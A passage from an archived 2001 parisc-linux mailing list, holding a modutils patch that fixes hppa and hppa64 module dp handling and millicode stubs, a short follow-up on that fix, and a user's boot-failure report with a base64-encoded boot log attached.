functions, which used to assume dp held the modules local value.
That wasn't a valid assumption, so I've reworked the stub such that
it doesn't use dp.

I won't rush to send this upstream as the maintainer is on holiday.

Kernel changes have been made recently relating to module support
(export $global$, set up dp for kernel threads in a module), so
make sure you are up to date there if you want to use modules.

There are also a bunch more symbols needed in parisc_ksyms.c, depending
on what you want to modularise, but I'm holding off on commiting
those as Paul has similar local changes and I don't want to make
life more complicated for him.

Richard


diff -ur -x *.o modutils-2.4.5-clean/ChangeLog modutils-2.4.5/ChangeLog
--- modutils-2.4.5-clean/ChangeLog	Wed Mar 28 11:49:06 2001
+++ modutils-2.4.5/ChangeLog	Fri Apr  6 11:30:00 2001
@@ -1,3 +1,6 @@
+	* hppa dp is $global$, not data_start.  Richard Hirst.
+	* hppa64 stub for millicode calls must not use dp.  Richard Hirst.
+
 2001-03-29  Keith Owens  <kaos@ocs.com.au>
 
 	modutils 2.4.5
diff -ur -x *.o modutils-2.4.5-clean/obj/obj_hppa.c modutils-2.4.5/obj/obj_hppa.c
--- modutils-2.4.5-clean/obj/obj_hppa.c	Wed Mar 28 11:49:06 2001
+++ modutils-2.4.5/obj/obj_hppa.c	Wed Apr  4 14:04:48 2001
@@ -383,7 +383,7 @@
    This is significantly less complex than what we do for shared
    libraries because, obviously, modules are not shared.  Also we have
    no issues related to symbol visibility, lazy linking, etc.
-   The kernels dp is fixed (at symbol data_start), and we can fix up any
+   The kernels dp is fixed (at symbol $global$), and we can fix up any
    DPREL refs in the module to use that same dp value.
    All PCREL17F refs result in a stub with the following format:
 
@@ -658,13 +658,13 @@
   int i;
   hppa_file_t *hfile = (hppa_file_t *)f;
 
-  /* Initialise dp to the kernels dp (symbol data_start)
+  /* Initialise dp to the kernels dp (symbol $global$)
    */
   for (i = 0, s = ksyms; i < nksyms; i++, s++)
-    if (!strcmp((char *)s->name, "data_start"))
+    if (!strcmp((char *)s->name, "$global$"))
       break;
   if (i >= nksyms) {
-    error("Cannot initialise dp, 'data_start' not found\n");
+    error("Cannot initialise dp, '$global$' not found\n");
     return 1;
   }
   hfile->dp = s->value;
diff -ur -x *.o modutils-2.4.5-clean/obj/obj_hppa64.c modutils-2.4.5/obj/obj_hppa64.c
--- modutils-2.4.5-clean/obj/obj_hppa64.c	Wed Mar 28 11:49:06 2001
+++ modutils-2.4.5/obj/obj_hppa64.c	Fri Apr  6 11:31:16 2001
@@ -94,15 +94,15 @@
  *     e8 20 d0 00     bve (r1)
  *     53 7b 00 30     ldd 18(dp),dp
  *
- * We need a different stub for millicode calls, which doesn't screw
- * dp:
+ * We need a different stub for millicode calls, which doesn't depend on
+ * or modify dp:
  *
- *     53 61 00 00     ldd 0(dp),r1
- *     			R_PARISC_LTOFF14R <.got entry offset from dp>
+ *     20 20 00 00     ldil 0,r1
+ *			R_PARISC_DIR21L <addr of kernels opd entry>
+ *     34 21 00 00     ldo 0(r1),r1
+ *			R_PARISC_DIR14R <addr of kernels opd entry>
  *     50 21 00 20     ldd 10(r1),r1
- *     e8 20 d0 00     bve (r1)
- *     08 00 02 40     nop
- *
+ *     e8 20 d0 02     bve,n (r1)
  */
 
 /* NOTE: to keep the code cleaner we make all stubs the same size.
@@ -120,10 +120,10 @@
 
 unsigned char hppa64_stub_millicode[] =
 {
-       0x53, 0x61, 0x00, 0x00,
+       0x20, 0x20, 0x00, 0x00,
+       0x34, 0x21, 0x00, 0x00,
        0x50, 0x21, 0x00, 0x20,
-       0xe8, 0x20, 0xd0, 0x00,
-       0x08, 0x00, 0x02, 0x40,
+       0xe8, 0x20, 0xd0, 0x02,
 };
 
 /*======================================================================*/
@@ -575,15 +575,23 @@
 		     */
 		    unsigned char *stub;
 
-		    if (!strncmp(isym->root.name, "$$", 2))
+		    if (!strncmp(isym->root.name, "$$", 2)) {
 			stub = hppa64_stub_millicode;
-		    else
+			memcpy((Elf64_Addr *)(hfile->stub->contents + se->offset),
+					stub, SIZEOF_STUB);
+			v = (Elf64_Addr)isym->root.value;
+			ret = patch_21l(v, (Elf64_Word *)(hfile->stub->contents + se->offset));
+			if (ret == obj_reloc_ok)
+			    ret = patch_14r(v, (Elf64_Word *)(hfile->stub->contents + se->offset + 4));
+		    }
+		    else {
 			stub = hppa64_stub_extern;
+			memcpy((Elf64_Addr *)(hfile->stub->contents + se->offset),
+					stub, SIZEOF_STUB);
+			v = (Elf64_Addr)(hfile->got->header.sh_addr + ge->offset) - gp;
+			ret = patch_14r2(v, (Elf64_Word *)(hfile->stub->contents + se->offset));
+		    }
 		    se->reloc_done = TRUE;
-		    memcpy((Elf64_Addr *)(hfile->stub->contents + se->offset),
-	    			stub, SIZEOF_STUB);
-		    v = (Elf64_Addr)(hfile->got->header.sh_addr + ge->offset) - gp;
-		    ret = patch_14r2(v, (Elf64_Word *)(hfile->stub->contents + se->offset));
 		}
 		v = hfile->stub->header.sh_addr + se->offset;
 	    }





From - Thu Nov 08 21:17:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: 64 bit kernel and module dp values again
Date: Fri, 6 Apr 2001 12:31:19 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <20010406123119.U9198@linuxcare.com>
References: <20010404234654.H9198@linuxcare.com> <Pine.LNX.4.21.0104050920520.13605-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620006 17636 80.91.229.3 (22 Nov 2014 01:33:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:26 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  6 05:31:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4E91482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Apr 2001 05:31:59 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 76D20B008; Fri,  6 Apr 2001 12:31:19 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0104050920520.13605-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Thu, Apr 05, 2001 at 09:27:32AM +1000
Xref: news.gmane.org gmane.linux.ports.parisc:10698

On Thu, Apr 05, 2001 at 09:27:32AM +1000, Alan Modra wrote:
> On Wed, 4 Apr 2001, Richard Hirst wrote:
> 
> > On Wed, Apr 04, 2001 at 04:32:40PM +0100, Richard Hirst wrote:
> > > Hi Alan,
> > >   Code from drivers/block/loop.o, built as a 64 bit module, using
> > > xc-20010307.tgz
> > > 
> > > The stub to call $$divU is called with the kernels dp value as that is
> > > what dp is left with follwing the __muldi3 call.
> 
> Sorry Richard, I should have picked up on this when I saw you exporting
> millicode from the kernel yesterday.

Just for the record, I've solved this problem by reworking the stub
that modutils builds for 64 bit modules to call millicode functions
in the kernel.  The stub cannot assume dp is valid for the local module,
and must not modify dp.

If we have further problems in this area we should consider linking
each module against libgcc.a, so they each have their own local
millicode functions.

Richard





From - Thu Nov 08 21:17:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt London <matt@knm.yi.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems booting
Date: Fri, 6 Apr 2001 23:39:25 +0100 (BST)
Lines: 277
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.20.0104062329290.4811-200000@coffeepot.matt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-1463811839-317009567-986596765=:4811"
X-Trace: ger.gmane.org 1416620007 17639 80.91.229.3 (22 Nov 2014 01:33:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  6 16:39:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from coffeepot.matt (host213-122-39-199.btinternet.com [213.122.39.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1DD3E482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  6 Apr 2001 16:39:39 -0600 (MDT)
Original-Received: from localhost (mattl@localhost)
	by coffeepot.matt (8.9.3/8.9.3) with ESMTP id XAA09318
	for <parisc-linux@lists.parisc-linux.org>; Fri, 6 Apr 2001 23:39:32 +0100
X-Authentication-Warning: coffeepot.matt: mattl owned process doing -bs
X-Sender: mattl@coffeepot.matt
Xref: news.gmane.org gmane.linux.ports.parisc:10699

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

---1463811839-317009567-986596765=:4811
Content-Type: TEXT/PLAIN; charset=US-ASCII

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

I've recently been given an HP apollo Series 700 box. I'm not sure exactly
what it is, other than that it says A1991XR on the base.

Anyway, I ran across palinux (via the route of NetBSD->OpenBSD->palinux)
(I run slackware on my x86 boxen), downloaded the iso and burnt it to
CD. I then dropped in an NEC SCSI cdrom, and a Seagate ST3655N 500M
drive. I have 4 sticks of RAM, in slots J12, J13, J14 and J15 (alternate
rows starting toward the back of the machine). I'm using a serial console.

When the system boots, it gets about as far as calibrating the delay loop
and drops out with a stack dump (see attached file).

I was just wondering if there's any incite into what's up with this :&)

- -- Matt

- ---
Web Page:
  http://knm.yi.org/
  http://pkl.net/~matt/

PGP Key fingerprint = 00BF 19FE D5F5 8EAD 2FD5  D102 260E 8BA7 EEE4 8D7F
PGP Key http://knm.yi.org/matt-pgp.html
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6zkWkJg6Lp+7kjX8RAhzVAJ4zbUhgH+ob+G3Yh+bjnSP4tkMGJwCeNDfK
d9JX4Uk4TOfJloJ6YenIUB0=
=QXmq
-----END PGP SIGNATURE-----

---1463811839-317009567-986596765=:4811
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="hp-boot.log"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.20.0104062339250.4811@coffeepot.matt>
Content-Description: 
Content-Disposition: attachment; filename="hp-boot.log"

MHgwMDAwLjI3DQoweDAwMDAuMTENCjB4MDAwMC4xMg0KMHgwMDAwLjEzDQow
eDAwMDAuMTMNCjB4MDAwMC4xNA0KMHgwMDAwLjE0DQoweDAwMDAuMTQNCjB4
MDAwMC4xNA0KMHgwMDAwLjE1DQoweDAwMDAuMTYNCjB4MDAwMC4xNg0KMHgw
MDAwLjE3DQoweDAwMDAuMTgNCjB4MDAwMC4xOA0KMHgwMDAwLjE5DQoweDAw
MDAuNUYNCjB4MDAwMC4zMQ0KMHgwMDAwLjMyDQoweDAwMDAuMjENCjB4MDAw
MC4yMg0KMHgwMDAwLjIzDQoweDAwMDAuMjQNCjB4MDAwMC4yNQ0KMHgwMDAw
LjI1DQoweDAwMDAuMjYNCjB4MDAwMC4yNw0KMHgwMDAwLkExDQoweDAwMDAu
N0YNCjB4MDAwMC4zNQ0KMHgwMDAwLjM2DQoweDAwMDAuN0YNCjB4MDAwMC4z
NQ0KMHgwMDAwLjM2DQoweDAwMDAuMjgNCjB4MDAwMC4yOQ0KMHgwMDAwLjJB
DQoweDAwMDAuMkINCjB4MDAwMC4yQw0KMHgwMDAwLjMzDQoweEFBQUEuQUEN
CjB4MDAwMC5BMw0KMHgwMDAyLjgzDQoweDAwMDEuODgNCg0KDQpQb2xsaW5n
IGZvciBhIGNvbnNvbGUuICBQcmVzcyA8Q1I+IHdpdGhpbiA1IHNlY29uZHMg
dG8gc2VsZWN0Lg0KDQoNCg0KQk9PVF9BRE1JTj4gYm9vdCBzY3NpDQoNClRy
eWluZyBzY3NpLjAuMA0KQm9vdCBwYXRoIGluaXRpYWxpemVkLg0KQXR0ZW1w
dGluZyB0byBsb2FkIElQTC4NCjB4MDAwMC5BNg0KDQoNCkhhcmQgYm9vdGVk
Lg0KcGFsbyBpcGwgYmFtZUBub2FtIFR1ZSBPY3QgMzEgMTQ6MTg6MDIgTVNU
IDIwMDANCjAvdm1saW51eCAyMTQwMTQ1IGJ5dGVzIEAgMHg2Zjk4MDANCjAv
cGFsby1jbWRsaW5lICcwL3ZtbGludXggUk9PVD0vIFRFUk09TElOVVggcm9v
dD0vZGV2L3NjZDAnDQpLZXJuZWw6IHBhcnRpdGlvbiAwIGZpbGUgL3ZtbGlu
dXgNCkVMRjMyIGV4ZWN1dGFibGUNCg0KRW50cnkgMDAxMDAxNTAgZmlyc3Qg
MDAxMDAwMDAgbiA0DQpTZWdtZW50IDAgbG9hZCAwMDEwMDAwMCBzaXplIDE0
NjAzNDQgbWVkaWFwdHIgMHgxMDAwDQpTZWdtZW50IDEgbG9hZCAwMDI2NjAw
MCBzaXplIDE3OTA0OCBtZWRpYXB0ciAweDE2NjAwMA0KU2VnbWVudCAyIGxv
YWQgMDAyOTQwMDAgc2l6ZSAxMDk4NzYgbWVkaWFwdHIgMHgxOTIwMDANClNl
Z21lbnQgMyBsb2FkIDAwMmIwMDAwIHNpemUgODE5MiBtZWRpYXB0ciAweDFh
ZDAwMA0KYnJhbmNoaW5nIHRvIGtlcm5lbCBlbnRyeSBwb2ludCAweDAwMTAw
MTUwDQpQREMgQ29uc29sZSBJbml0aWFsaXplZA0KVGhlIDMyLWJpdCBLZXJu
ZWwgaGFzIHN0YXJ0ZWQuLi4NCkVuYWJsZWQgRlAgY29wcm9jZXNzb3INCkZy
ZWUgbWVtb3J5IHN0YXJ0cyBhdDogMHhjMDJkYTAwMA0KKDB4NTA0ZDZjLDB4
NTA0ZDZjLDB4MCwweDApDQpQQUxPIGNvbW1hbmQgbGluZTogJ1JPT1Q9LyBU
RVJNPUxJTlVYIHJvb3Q9L2Rldi9zY2QwJw0KUEFMTyBpbml0cmQgMC0wDQpt
b2RlbCAgIDAwMDAzMDAwIDAwMDAwNDgxIDAwMDAwMDAwIDAwMDAwMDAwIDc3
ZWY1NzcyIDAwMDAwMDAwIDAwMDAwMDA0IDAwMDAwMDBkIDAwMDAwMDAwDQp2
ZXJzICAgIDAwMDAwMDAzDQpDUFVJRCB2ZXJzIDAgcmV2IDANClNlYXJjaGlu
ZyBmb3IgZGV2aWNlcyBpbiBQREMgZmlybXdhcmUuLi4gcHJvY2Vzc29yIGhw
YSAweGZmZmJlMDAwDQogYW4gb2xkZXIgYm94Li4uDQpGb3VuZCBkZXZpY2Vz
Og0KMS4gU3RpbmdlciBPcHRpb25hbCBHcmFwaGljcyAoMTApIGF0IDB4ZjQw
MDAwMDAsIHZlcnNpb25zIDB4NiwgMHgwLCAweDc3LCAweDAsIDB4MA0KMi4g
QnVzaG1hc3RlciBDb3JlIEJBICgxMSkgYXQgMHhmMDgyZjAwMCwgdmVyc2lv
bnMgMHg2LCAweDAsIDB4NzAsIDB4MCwgMHgwDQozLiBCdXNobWFzdGVyIENv
cmUgU0NTSSAoMTApIGF0IDB4ZjA4MjUwMDAsIHZlcnNpb25zIDB4NiwgMHgw
LCAweDcxLCAweDAsIDB4MA0KNC4gQnVzaG1hc3RlciBDb3JlIExBTiAoODAy
LjMpICgxMCkgYXQgMHhmMDgyNjAwMCwgdmVyc2lvbnMgMHg2LCAweDAsIDB4
NzIsIDB4MCwgMHgwDQo1LiBCdXNobWFzdGVyIENvcmUgSElMICgxMCkgYXQg
MHhmMDgyMTAwMCwgdmVyc2lvbnMgMHg2LCAweDAsIDB4NzMsIDB4MCwgMHgw
DQo2LiBCdXNobWFzdGVyIENvcmUgUlMtMjMyICgxMCkgYXQgMHhmMDgyMzAw
MCwgdmVyc2lvbnMgMHg2LCAweDAsIDB4NzUsIDB4MCwgMHgwDQo3LiBCdXNo
bWFzdGVyIENvcmUgUlMtMjMyICgxMCkgYXQgMHhmMDgyMjAwMCwgdmVyc2lv
bnMgMHg2LCAweDAsIDB4NzUsIDB4MCwgMHgwDQo4LiBCdXNobWFzdGVyIENv
cmUgQ2VudHJvbmljcyAoMTApIGF0IDB4ZjA4MjQwMDAsIHZlcnNpb25zIDB4
NiwgMHgwLCAweDc0LCAweDAsIDB4MA0KOS4gQnVzaG1hc3RlciBBdWRpbyAo
MTApIGF0IDB4ZjEwMDAwMDAsIHZlcnNpb25zIDB4NiwgMHgwLCAweDdhLCAw
eDAsIDB4MA0KMTAuIEJ1c2htYXN0ZXIgKDcxMCkgKDApIGF0IDB4ZmZmYmUw
MDAsIHZlcnNpb25zIDB4MzAwLCAweDAsIDB4NCwgMHgwLCAweDgxDQoxMS4g
QnVzaG1hc3RlciAoMSkgYXQgMHhmZmZiZjAwMCwgdmVyc2lvbnMgMHgxNiwg
MHgwLCAweDksIDB4MCwgMHgwDQpUaGF0J3MgYSB0b3RhbCBvZiAxMSBkZXZp
Y2VzLg0KQ1BVKHMpOiAxIHggUEE3MDAwIChQQ1gtUykgYXQgNTAuMDAwMDAw
IE1Ieg0KTGludXggdmVyc2lvbiAyLjQuMC10ZXN0NiAocGpsYWhhaWVAZWxl
bnVpYWwudGhlcHVmZmluZ3JvdXAuY29tKSAoZ2NjIHZlcnNpb24gMi45NiAy
MDAwMDkyNSAoZXhwZXJpbWVudGFsKSkgIzMyIE1vbiBOb3YgNiAxMDoyMDo1
OCBFU1QgMjAwMA0KZnJlZV9ib290bWVtKDB4MmRhMjAwLCAweGQyNWUwMCkN
CmluaXRyZDogMDAwMDAwMDAtMDAwMDAwMDANCnBhZ2V0YWJsZV9pbml0DQpP
biBub2RlIDAgdG90YWxwYWdlczogNDA5Ng0Kem9uZSgwKTogMjA0OCBwYWdl
cy4NCnpvbmUoMSk6IDIwNDggcGFnZXMuDQp6b25lKDIpOiAwIHBhZ2VzLg0K
S2VybmVsIGNvbW1hbmQgbGluZTogUk9PVD0vIFRFUk09TElOVVggcm9vdD0v
ZGV2L3NjZDANCnRyYXBfaW5pdA0KZXJyb3IgcmVhZGluZyB0b2QgY2xvY2sN
CkNhbGlicmF0aW5nIGRlbGF5IGxvb3AuLi4gNDkuNzcgQm9nb01JUFMNCk1l
bW9yeTogMTMxNTJrIGF2YWlsYWJsZQ0KRGVudHJ5LWNhY2hlIGhhc2ggdGFi
bGUgZW50cmllczogMjA0OCAob3JkZXI6IDIsIDE2Mzg0IGJ5dGVzKQ0KQnVm
ZmVyLWNhY2hlIGhhc2ggdGFibGUgZW50cmllczogMTAyNCAob3JkZXI6IDAs
IDQwOTYgYnl0ZXMpDQpQYWdlLWNhY2hlIGhhc2ggdGFibGUgZW50cmllczog
NDA5NiAob3JkZXI6IDIsIDE2Mzg0IGJ5dGVzKQ0KSW5vZGUtY2FjaGUgaGFz
aCB0YWJsZSBlbnRyaWVzOiAxMDI0IChvcmRlcjogMSwgODE5MiBieXRlcykN
ClBPU0lYIGNvbmZvcm1hbmNlIHRlc3RpbmcgYnkgVU5JRklYDQpBU1AgdmVy
c2lvbiAxIGF0IDB4ZjA4MDAwMDAgZm91bmQuDQoweDAwMDAuMDANCjB4MDAw
MC5CNA0KMHgwMDAwLkI3DQoweDAwMDAuQTkNCg0KDQoNCkR1bXBpbmcgU3Rh
Y2sgZnJvbSBjMGZlODAwMCB0byBjMGZlODk0MDoNCjgwMDAgMDAwMDAwMDAg
MDAwMDAwNDAgMDAwMDAwMDAgMDAwMDAwMDAgYzAyN2E0NmMgMDAwMDAwMDAg
MDAwMDAwMDAgZmZmZmZmZmYNCjgwMjAgMDAwMDAwMDQgMDAwMDAwMDAgMDAw
MDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgZmZmZmZmZmYgYzAy
N2EzODQNCjgwNDAgYzAyN2EzODQgYzAyYjAwMDAgYzAyYjAwMDAgYzAyODA2
MGMgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjgwNjAg
MDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDEgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDAgYzAyYjAwMDANCjgwODAgYzAyYjAwMDAgMDAw
MDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgYzAyYzlhYjggMDAw
MDAwMDAgYzBmZTgwOWMNCjgwYTAgYzBmZTgwOWMgYzBmZTgwYTQgYzAxMWE2
ZTQgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAw
MDANCjgwYzAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDAgYzBmZTgwMDAgYzAxMWQ0YTgNCjgwZTAgMDAw
MDAwMDAgMDAwMDAwMDEgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMWIgMDAw
MDAwMDAgMDAwMDAwMWMgMDAwMDAwMDANCjgxMDAgMDAwMDAwMDAgMDAwMDAw
MDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgODAwMDAwMDAgMDAwMDAw
MDAgMDAwMDAwMDANCjgxMjAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAN
CjgxNDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAw
MDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjgxNjAgMDAwMDAw
MDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAw
MDAgMDAwMDAwMDAgMDAwMDAwMDANCjgxODAgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDANCjgxYTAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAw
MDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgZmZmZmZlZmYNCjgx
YzAgMDAwMDAwMDAgZmZmZmZmZmYgMDAwMDAwMDAgYzAyN2FmYjQgZmZmZmZm
ZmYgZmZmZmZmZmYgZmZmZmZmZmYgZmZmZmZmZmYNCjgxZTAgZmZmZmZmZmYg
ZmZmZmZmZmYgMDA4MDAwMDAgMDUwMDAwMDAgMDAwMDAwMDAgZmZmZmZmZmYg
ZmZmZmZmZmYgZmZmZmZmZmYNCjgyMDAgMDAwMDAxMDAgMDAwMDAxMDAgMDAw
MDA0MDAgMDAwMDA0MDAgZmZmZmZmZmYgZmZmZmZmZmYgZmZmZmZmZmYgZmZm
ZmZmZmYNCjgyMjAgMDAwMDczNzcgNjE3MDcwNjUgNzIwMDAwMDAgMDAwMDAw
MDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjgyNDAg
MDAwMDAwMDAgMDAwMDAwMDAgMDAwMDEwMDAgYzAyNjcwNTQgYzAyNjcwNTQg
YzAxM2QxZTggMDAwMDIwMDAgYzBmZmViYTANCjgyNjAgYzAyMjM4YzQgYzAy
MzY3MDggYzAyZDk4MDAgMDA1MDRkNmMgMDAwMDAwMDAgYzAxMWJiODggYzAy
NjcwMDAgMDAwMDEwMDANCjgyODAgYzAyNjcwNTQgYzAyNjcwMDAgMDAwMDAw
M2UgYzAyN2EwMDAgMDAwMDAwMDEgYzAyYjYxZWIgMDAwMDAwMDQgYzAyYjYx
YzcNCjgyYTAgMDAwMDAwMjMgYzAyYjYxZWIgMDAwMDAwMDAgMDAwMDAwMDAg
YzAxMDAyOTAgMDAwMDAwM2UgMDAwMDAwMDAgMDAwMDAwMjQNCjgyYzAgMDAw
MDAwMGIgYzAyN2E0YWMgYzAyN2EwMDAgNTAwMDAwNTkgZjAwMDA1MGMgMDAw
MDAwZmYgMDAwMDAwNjAgMDAwMDAwNjANCjgyZTAgMDAwMDAwMDEgMDAwMDAw
MDIgMDAyYjIwODAgMDAwMDAwMDggMDAyYjUwYzAgYzAyNjYwMDAgMDAwMDAw
MDAgMDBlNGUxYzANCjgzMDAgYzAyYjA4YzAgMDAwMDAwNjAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAN
CjgzMjAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAw
NDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjgzNDAgMDAwMDAw
MDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwODAwMDAgMDAwMDAw
ODAgMDAwMDAwMDAgMDAwMDAwMDANCjgzNjAgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDANCjgzODAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAw
MDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjgz
YTAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAw
MDAgMDAwMDAwMDAgMDAwMDAxMDIgMDAwMDAwMDANCjgzYzAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDANCjgzZTAgMDAwMDAwMDAgMDAwMDAwMDAgMDAw
MDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDIgMDAw
MDAwMDANCjg0MDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAw
MDAgYzBmZTg1MDAgYzAxMDNjMzggMDAwMDAwMDAgMDAwMDAwMDANCjg0MjAg
MDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgYzAxMWJiNzgg
YzAxMWJiN2MgMDAwMDAxMDIgMDAwMDAwMDANCjg0NDAgMDAyODEwMDAgMDAw
MDAwMDAgYzAyODAwNDAgYzAyODAwNjQgMDAwMDAwMDAgYzAyODAyMDQgMDAw
MDAwMDAgMDAwMDAwMDANCjg0NjAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAw
MDAgYzBmZTg0NjggMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAw
MDANCjg0ODAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjg0YTAgMDAw
MDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAw
MDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjg0YzAgMDAwMDAwMDAgMDAwMDAw
MDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAw
MDAgMDAwMDAwMDANCjg0ZTAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAg
YzAxMDNjNDggMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAN
Cjg1MDAgYzBmZTgwMDAgYzAyODA2MGMgMDAwMDAwMDAgMDAwMDAwMDAgMDAw
MDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjg1MjAgMDAwMDAw
MDAgMDAwMDAwMDAgMDAwMDAwMDAgYzAxMDAyYTQgMDAwMDAwMDAgMDAwMDAw
MDAgMDAwMDAwMDAgMDAwMDAwMDANCjg1NDAgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDAgYzAyYjA2YzAgYzBmZTgwMDAgYzAyODA2MGMg
MDAwMDAwMDANCjg1NjAgYzAyYjAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAw
MDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjg1
ODAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAw
MDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDANCjg1YTAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDAgYzAyOTUwNTQgMDAwMDAwMDAgMDAwMDAwMDAg
MDAwMDAwMDAgMDAwMDAwMDANCjg1YzAgYzAyYjAwMDAgMDAwMDAwMDAgMDAw
MDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAwMDAwMDAgMDAw
